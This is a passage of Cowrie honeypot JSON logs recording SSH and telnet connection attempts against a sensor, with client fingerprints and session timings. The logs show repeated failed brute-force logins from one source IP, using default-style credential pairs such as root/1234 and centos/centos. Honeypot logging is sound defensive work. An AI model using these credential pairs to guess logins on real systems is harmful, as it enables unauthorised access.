{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:21.280021Z","src_ip":"192.109.200.237","session":"deb7af89e499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:21.525427Z","src_ip":"192.109.200.237","session":"deb7af89e499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:22.758810Z","src_ip":"192.109.200.237","session":"deb7af89e499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.161823987960815,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:23.249479Z","src_ip":"50.6.8.71","session":"55747e755479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38892,"dst_ip":"159.203.135.109","dst_port":22,"session":"f05b34e513ad","protocol":"ssh","message":"New connection: 192.109.200.237:38892 (159.203.135.109:22) [session: f05b34e513ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:24.618203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:24.622791Z","src_ip":"192.109.200.237","session":"f05b34e513ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:24.707582Z","src_ip":"192.109.200.237","session":"f05b34e513ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:25.121650Z","src_ip":"192.109.200.237","session":"f05b34e513ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:26.207653Z","src_ip":"192.109.200.237","session":"f05b34e513ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.79.95","src_port":34696,"dst_ip":"159.203.135.109","dst_port":23,"session":"b79c30125ebe","protocol":"telnet","message":"New connection: 143.20.79.95:34696 (159.203.135.109:23) [session: b79c30125ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:27.419590Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38894,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b7ade6a47e8","protocol":"ssh","message":"New connection: 192.109.200.237:38894 (159.203.135.109:22) [session: 1b7ade6a47e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:28.387113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:28.391614Z","src_ip":"192.109.200.237","session":"1b7ade6a47e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:28.474648Z","src_ip":"192.109.200.237","session":"1b7ade6a47e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.814586639404297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:28.609703Z","src_ip":"50.6.8.71","session":"97f0417b856b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:28.721001Z","src_ip":"192.109.200.237","session":"1b7ade6a47e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:29.896792Z","src_ip":"192.109.200.237","session":"1b7ade6a47e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.34943199157715,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:30.368488Z","src_ip":"50.6.8.71","session":"5c690095aae5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.35394787788391,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:31.763735Z","src_ip":"50.6.8.71","session":"974b4302be24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54398,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e34fff4e4f6","protocol":"ssh","message":"New connection: 192.109.200.237:54398 (159.203.135.109:22) [session: 5e34fff4e4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:31.832691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:31.915276Z","src_ip":"192.109.200.237","session":"5e34fff4e4f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:32.004385Z","src_ip":"192.109.200.237","session":"5e34fff4e4f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:32.254276Z","src_ip":"192.109.200.237","session":"5e34fff4e4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34106,"dst_ip":"10.17.0.5","dst_port":23,"session":"78ca0f4f3630","protocol":"telnet","message":"New connection: 50.6.8.71:34106 (10.17.0.5:23) [session: 78ca0f4f3630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:33.147531Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:33.339714Z","src_ip":"192.109.200.237","session":"5e34fff4e4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54410,"dst_ip":"159.203.135.109","dst_port":22,"session":"37843dc96b72","protocol":"ssh","message":"New connection: 192.109.200.237:54410 (159.203.135.109:22) [session: 37843dc96b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:35.477453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:35.483027Z","src_ip":"192.109.200.237","session":"37843dc96b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:35.571952Z","src_ip":"192.109.200.237","session":"37843dc96b72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:35.819423Z","src_ip":"192.109.200.237","session":"37843dc96b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:37.021511Z","src_ip":"192.109.200.237","session":"37843dc96b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54424,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a15c6a9ec09","protocol":"ssh","message":"New connection: 192.109.200.237:54424 (159.203.135.109:22) [session: 2a15c6a9ec09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:38.884864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:38.890588Z","src_ip":"192.109.200.237","session":"2a15c6a9ec09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:38.973117Z","src_ip":"192.109.200.237","session":"2a15c6a9ec09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:39.397127Z","src_ip":"192.109.200.237","session":"2a15c6a9ec09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:40.481851Z","src_ip":"192.109.200.237","session":"2a15c6a9ec09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40332,"dst_ip":"159.203.135.109","dst_port":22,"session":"de287d0b06b0","protocol":"ssh","message":"New connection: 192.109.200.237:40332 (159.203.135.109:22) [session: de287d0b06b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:42.495403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:42.499702Z","src_ip":"192.109.200.237","session":"de287d0b06b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:42.586459Z","src_ip":"192.109.200.237","session":"de287d0b06b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:42.834833Z","src_ip":"192.109.200.237","session":"de287d0b06b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:43.919297Z","src_ip":"192.109.200.237","session":"de287d0b06b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40336,"dst_ip":"159.203.135.109","dst_port":22,"session":"c897939eee38","protocol":"ssh","message":"New connection: 192.109.200.237:40336 (159.203.135.109:22) [session: c897939eee38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:45.901068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:45.905969Z","src_ip":"192.109.200.237","session":"c897939eee38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:45.988622Z","src_ip":"192.109.200.237","session":"c897939eee38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:46.240608Z","src_ip":"192.109.200.237","session":"c897939eee38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:47.326642Z","src_ip":"192.109.200.237","session":"c897939eee38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40346,"dst_ip":"159.203.135.109","dst_port":22,"session":"78bfce96764d","protocol":"ssh","message":"New connection: 192.109.200.237:40346 (159.203.135.109:22) [session: 78bfce96764d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:49.474418Z"}
